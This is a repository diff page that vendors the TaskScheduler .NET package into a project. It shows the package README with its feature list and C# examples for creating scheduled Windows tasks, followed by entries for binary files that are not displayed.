||||
* [Discussion Forum](https://github.com/dahall/TaskScheduler/discussions) - Users helping users, enhancement requests, Q&A (retired Google forum [here](https://groups.google.com/forum/#!forum/taskscheduler))
|
||||
* [Troubleshooting Tool](https://github.com/dahall/TaskSchedulerConfig) - Tool to help identify and fix configuration and connectivity issues. (ClickOnce installer [here](https://github.com/dahall/TaskSchedulerConfig/blob/master/publish/setup.exe?raw=true))
|
||||
|
||||
## Key Features
|
||||
Microsoft introduced version 2.0 (internally version 1.2) with a completely new object model with Windows Vista. The managed assembly closely resembles the new object model but allows the 1.0 (internally version 1.1) COM objects to be manipulated. It will automatically choose the most recent version of the library found on the host system (up through 1.4). Core features include:
|
||||
|
||||
* Separate, functionally identical, libraries for .NET 2.0, 3.5, 4.0, 4.52, 5.0, 6.0, .NET Standard 2.0, .NET Core 2.0, 2.1, 3.0, 3.1.
|
||||
* Unlike the base COM libraries, this wrapper accommodates creating and viewing tasks up and down stream.
|
||||
* Supports all V2 native properties, even under V1 tasks.
|
||||
* Maintain EmailAction and ShowMessageAction using PowerShell scripts for systems after Win8 where these actions have been deprecated.
|
||||
* Supports all action types (not just ExecAction) on V1 systems (XP/WS2003) and earlier (if PowerShell is installed).
|
||||
* Supports multiple actions on V1 systems (XP/WS2003). Native library only supports a single action.
|
||||
* Supports serialization to XML for both 1.0 and 2.0 tasks (base library only supports 2.0)
|
||||
* Supports task validation for targeted version.
|
||||
* Supports secure task reading and maintenance.
|
||||
* Fluent methods for task creation.
|
||||
* Cron syntax for trigger creation.
|
||||
|
||||
The currently supported localizations include: English, Spanish, Italian, French, Chinese (Simplified), German, Polish and Russian.
|
||||
|
||||
## Usage
|
||||
You can perform several actions in a single line of code:
|
||||
```C#
|
||||
// Run a program every day on the local machine
|
||||
TaskService.Instance.AddTask("Test", QuickTriggerType.Daily, "myprogram.exe", "-a arg");
|
||||
|
||||
// Run a custom COM handler on the last day of every month
|
||||
TaskService.Instance.AddTask("Test", new MonthlyTrigger { RunOnLastDayOfMonth = true },
|
||||
new ComHandlerAction(new Guid("{CE7D4428-8A77-4c5d-8A13-5CAB5D1EC734}")));
|
||||
```
|
||||
|
||||
For many more options, use the library classes to build a complex task. Below is a brief example of how to use the library from C#.
|
||||
```C#
|
||||
using System;
|
||||
using Microsoft.Win32.TaskScheduler;
|
||||
|
||||
class Program
|
||||
{
|
||||
static void Main()
|
||||
{
|
||||
// Get the service on the remote machine
|
||||
using (TaskService ts = new TaskService(@"\\RemoteServer", "username", "domain", "password"))
|
||||
{
|
||||
// Create a new task definition and assign properties
|
||||
TaskDefinition td = ts.NewTask();
|
||||
td.RegistrationInfo.Description = "Does something";
|
||||
|
||||
// Create a trigger that will fire the task at this time every other day
|
||||
td.Triggers.Add(new DailyTrigger { DaysInterval = 2 });
|
||||
|
||||
// Create an action that will launch Notepad whenever the trigger fires
|
||||
td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));
|
||||
|
||||
// Register the task in the root folder.
|
||||
// (Use the username here to ensure remote registration works.)
|
||||
ts.RootFolder.RegisterTaskDefinition(@"Test", td, TaskCreation.CreateOrUpdate, "username");
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
For extended examples on how to the use the library, look at the [Examples Page](https://github.com/dahall/TaskScheduler/wiki/Examples).
|
||||
BIN
Binary file not shown.
+7855
File diff suppressed because it is too large
Load Diff
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll
Vendored
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
+7855
File diff suppressed because it is too large
Load Diff
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user